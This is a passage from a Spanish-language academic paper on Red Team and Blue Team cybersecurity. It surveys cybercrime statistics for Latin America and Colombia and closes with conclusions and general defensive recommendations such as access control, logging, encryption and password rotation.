técnicos y humanos necesarios para gestionar de forma efectiva y rapida, el riesgo
de ciberseguridad. “De acuerdo con la investigacion, solo una cuarta parte (25 %)
de las empresas descubrié el incidente de seguridad en el mismo dia, lo que
resalta la importancia de un proceso de respuesta a incidentes integral. De manera
alarmante, a una de cada diez empresas le tom6 un afio descubrir la pérdida, el
robo o el dafio a los datos, lo que hizo de la remediacion un proceso mas
complicado y costoso™?’

Una de las mejores propuestas que ofrecen los equipos Red Team y Blue Team,
es la de reaccionar proactivamente, haciendo deteccién y estableciendo
respuesta, ante la evidencia de una o mas amenazas.

26 KASPERSKY DAILY, Empresas, principal objetivo de ciberataques en América Latina, octubre 1
de 2020, Disponible en: https://latam.kaspersky.com/blog/empresas-principal-objetivo-de-
ciberatagues-en-america-latina/20209/
2T KASPERSKY DAILY, Empresas, principal objetivo de ciberataques en América Latina, octubre 1
de 2020, Disponible en: https://latam.kaspersky.com/blog/empresas-principal-objetivo-de-
ciberataques-en-america-latina/20209/
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El dia 6 de octubre de 2020 se llevé a cabo la octava edicion de la Conferencia de
INTERPOL y Europol sobre la Ciberdelincuencia, esta, por motivos ampliamente
conocidos, se celebré por primera vez virtualmente. Especialistas en esta materia
procedentes de las fuerzas del orden, del sector privado, de organizaciones
internacionales, equipos de respuesta a emergencias informaticas y el mundo
académico participaron en una serie de debates sobre las nuevas amenazas,
tendencias y estrategias en materia de ciberdelincuencia.?®

La globalizacién ha acelerado el ritmo de la innovacion y el desarrollo tecnoldgico,
generando una continua transformacion en el mercado y un enorme crecimiento
de la demanda por productos y servicios, lo que ha llevado a una mayor evolucion
de la gestion del conocimiento en ciberseguridad y en los estudios de gestién de
mitigacion de los riesgos.

Jurgen Stock, Secretario General de INTERPOL, declaré que “en un mundo
en el que mas de 4 500 millones de personas estan conectadas, mas de la
mitad de la humanidad corre el peligro de caer victima de la ciberdelincuencia
en cualquier momento”.

El jefe de INTERPOL afadié que “la informacién es el elemento clave que
nos une y nos hace mas fuertes en la lucha contra la ciberdelincuencia. Asi,
la combinacion a escala mundial de las bases de datos nacionales sobre esta
materia es fundamental, e INTERPOL esta idealmente posicionada para
dirigir esta labor en colaboracién con sus paises miembros y sus socios”.
Pero en la conferencia no solo se analiz6 retrospectivamente el afio 2020,
sino que también se abordaron las dificultades que se avecinan y se invito a
las fuerzas del orden, los gobiernos y las organizaciones no gubernamentales
a adoptar en su dia a dia un enfoque &gil y proactivo en materia de
ciberseguridad.?®

El panorama a nivel de América Latina tiene una perspectiva de crecimiento
proporcional a los ataques mundiales. “Los datos consideran las 30 amenazas mas
comunes en Argentina, Brasil, Chile, Colombia, México y Perl, de enero a
septiembre de 2020. Brasil continta siendo el lider absoluto ya que es el pais con
el mayor niumero de ataques (55,97%), seguido de México (27,86%), Colombia
(7,33%), Peru (5,36%), Argentina (1,87%) y Chile (1,62%). Sin embargo, seguin
Dmitry Bestuzhev, director del Equipo de Investigacion y Analisis para América
Latina en Kaspersky, lo mas importante es considerar el coeficiente de riesgo de

28 INTERPOL, 82 Conferencia de INTERPOL y Europol sobre Ciberdelincuencia: “Media humanidad
esta en peligro”, 06 de octubre de 2020, Disponible en: https://www.interpol.int/es/Noticias-y-
acontecimientos/Noticias/2020/8a-Conferencia-de-INTERPOL-y-Europol-sobre-
Ciberdelincuencia-Media-humanidad-esta-en-peligro

29 INTERPOL, 82 Conferencia de INTERPOL y Europol sobre Ciberdelincuencia: “Media humanidad
esta en peligro”, 06 de octubre de 2020, Disponible en: https://www.interpol.int/es/Noticias-y-
acontecimientos/Noticias/2020/8a-Conferencia-de-INTERPOL-y-Europol-sobre-
Ciberdelincuencia-Media-humanidad-esta-en-peligro
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cada pais; es decir, la proporcion de ataques totales sobre el nUmero de objetivos
atacados.”™®

Se evidencia que uno de cada tres ataques cibernéticos, estan dirigidos contra las
empresas, el otro, a usuarios. “En el ambito corporativo, Brasil continia con un
liderazgo indiscutido, abarcando el 56,25% de los ataques en la regién durante los
primeros nueve meses de 2020, seguido de México (22,81%), Colombia (10,20%),
Peru (4,22%), Chile (3,27%) y Argentina (3,25%). En relacion al coeficiente de
riesgo, la lista estd encabezada nuevamente por Argentina y México. Brasil ocupa
el tercer lugar entre los paises con mayor probabilidad de infecciones por un
ataque de malware. En cambio, Peru es el pais donde las empresas corren un
menor riesgo de ataque.”!

En el mismo informe de Tendencias de Cibercrimen en Colombia, “. La
concentracion del fendmeno criminal en 2019 sitla a Bogota, Cali, Medellin,
Barranquilla y Bucaramanga como las ciudades con mayor afectacion por esta
problematica con un 55% de los casos registrados. Si bien la cifra obedece a los
centros urbanos con mayor densidad poblacional y penetracién de internet en el
pais, el factor de desarrollo econdmico influye en los objetivos de los
cibercriminales, que enfocan su actuar hacia PYMES, entidades financieras y
grandes compafiias con asiento en estas ciudades.”*?

“‘Ante esta situacion, el Teniente Coronel Alex Duran jefe del Centro Cibernético
Policial, aseguré que “se ha realizado un incremento operativo del 27.5% respecto
al aflo 2018, materializandose 241 capturas y 11 operaciones de impacto por
diferentes modalidades de delitos informaticos contempladas en la Ley 1273 del
afo 2009, al igual por medio del servicio Cai Virtual 24/7 se han atendido 12.959
incidentes aumentando la capacidad de atencion en un 53.7% respecto al 2018.732

Evidenciando este panorama de la proteccion de datos, entran en juego estos
equipos fundamentales: Red Team y Blue Team; ellos realizan un trabajo
importantisimo en la identificacion y deteccion de vulnerabilidades y en la
prevencion de ataques informaticos de todo nivel.

30 KASPERSKY DAILY, Empresas, principal objetivo de ciberataques en América Latina, octubre 1
de 2020, Disponible en: https://latam.kaspersky.com/blog/empresas-principal-objetivo-de-
ciberatagues-en-america-latina/20209/

3L Ibit, p. 1

32 CCIT, Tendencias del Cibercrimen en Colombia 2019-2020, octubre 19 de 2019, Disponible en:
https://www.ccit.org.co/estudios/tendencias-del-cibercrimen-en-colombia-2019-2020/

33 |bit, p. 1.
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3. CONCLUSIONES

Los acelerados procesos de cambio y la globalizacién han impulsado el avance de
la tecnologia a todo nivel, sin embargo, ha crecido una la delincuencia que, al uso
de los sistemas de informacion, se posicionan como uno de los mayores peligros
para la seguridad de la sociedad.

Los equipos multidisciplinario-expertos en seguridad informética, Blue Team y Red
Team cobran una enorme importancia en la defensa y proteccion a las
organizaciones de ataques realizados por ciberdelincuentes. De forma reactiva y
proactiva emular ataques para explotar las vulnerabilidades de seguridad de los
sistemas de informacién y aplicaciones que posean las organizaciones.

Las metodologias descritas de los equipos estratégicos en ciberseguridad Red y
Blue Team son un marco de referencia que no requieren el seguimiento riguroso
en su utilizacion. El auditor designado de acuerdo con los objetivos que haya
establecido o a la orientacion de las pruebas, puede hacer uso de los lineamientos
de cada metodologia y definir una propia estructura con el fin de ejecutar las
pruebas de penetracion. Adicionalmente las metodologias descritas enfocan sus
objetivos en establecer una clara estructura para la ejecucion de las pruebas de
penetracion, aun cuando se tenga particularidades en sus métodos y ejecuciones,
en el contexto general confluyen en la exploracion y busqueda de vulnerabilidades,
su explotacion y en la elaboracion del informe con la descripcidén de los procesos
realizados, de las conclusiones y las recomendaciones para que se mitiguen las
brechas de seguridad que ponen en riesgo las entidades.

Existen diferentes herramientas, open source o de pago, que permiten a los Red
y Blue Team automatizar procesos de monitoreo, y de gestion en pruebas de
penetracion, que generan reportes para el posterior andlisis y gestion de la
informacion recolectada.

En Colombia, en 2009 se expidié la ley 1273, con la cual logra establecerse como
uno de los paises que estan preparados con los instrumentos y las herramientas
eficaces en aras de contrarrestar las acciones de delitos en el ciberespacio,
atacando uno de los sectores mas apetecidos, los delitos financieros, cuyo factor
de vulnerabilidad es la mas analizada por los ciberdelincuentes.

La ética profesional enmarca todos los valores que el profesional ha adquirido en
su hogar y en todos los ambitos y entornos que ha compartido y convivido (escuela,
colegio, universidad, trabajo, familia, amigos, etc.). Los valores encuentran el
caracter moral cuando no se convierten en una obligacion sino en una decision
libre y autbnoma.
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4. RECOMENDACIONES

A continuacion, se hace algunos planteamientos que permiten endurecer la
seguridad en una organizacion:

El establecimiento dentro de la organizacion, en funcién de la seguridad
informatica, de dos equipos fundamentales: Red Team y Blue Team; con el fin de
realizar la identificacion y deteccion de vulnerabilidades y la prevencion de ataques
informéaticos de todo nivel.

Dentro de la organizacibn se debe remover dependencias, remover
funcionalidades, remover componentes, remover archivos y documentacion
innecesaria y no utilizada.

Se debe asegurar que los errores de inicio de sesion, de control de acceso a los
sistemas y de validacion de entradas de datos por el servidor, se puedan registrar
para la identificacion de cuentas sospechosas.

Todas las transacciones de alto impacto dentro de la organizacion, deberian tener
pista de auditoria con los respectivos controles de integridad con el fin de prevenir
eliminaciones o alteraciones.

Se debe restringir los accesos y establecer negacion de accesos por defecto con
los permisos muy especificos a cada una de las funcionalidades dentro del sistema
de la organizacion, con la excepcién de los recursos publicos, la politica debe ser
denegar de forma predeterminada.

Frente a los procesos de desarrollo de software, desarrolladores y personal de QA
deben incluir pruebas de control de acceso en sus pruebas unitarias y de
integracion. Asu vez, se debe utilizar herramientas para mantener un inventario de
versiones del software.

Se debe clasificar los datos procesados, que estén almacenados en el sistema, e
identifiquen si la informacion es sensible de acuerdo con las regulaciones y/o leyes
vigentes.

Realizar procesos de cifrado de los datos sensibles en el momento en que son
almacenados, asi como realizar el cifrado de las comunicaciones utilizando
protocolos seguros.

Realizar la configuracion y actualizacion de antivirus y firewall, asi como la

implementacion de software con capacidades de deteccion de manera proactiva.
Asi mismo, modificar periodicamente todas las contrasefias de los servicios que
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requieren o solicitan autenticacion con el fin de minimizar las posibilidades de robo
de credenciales.
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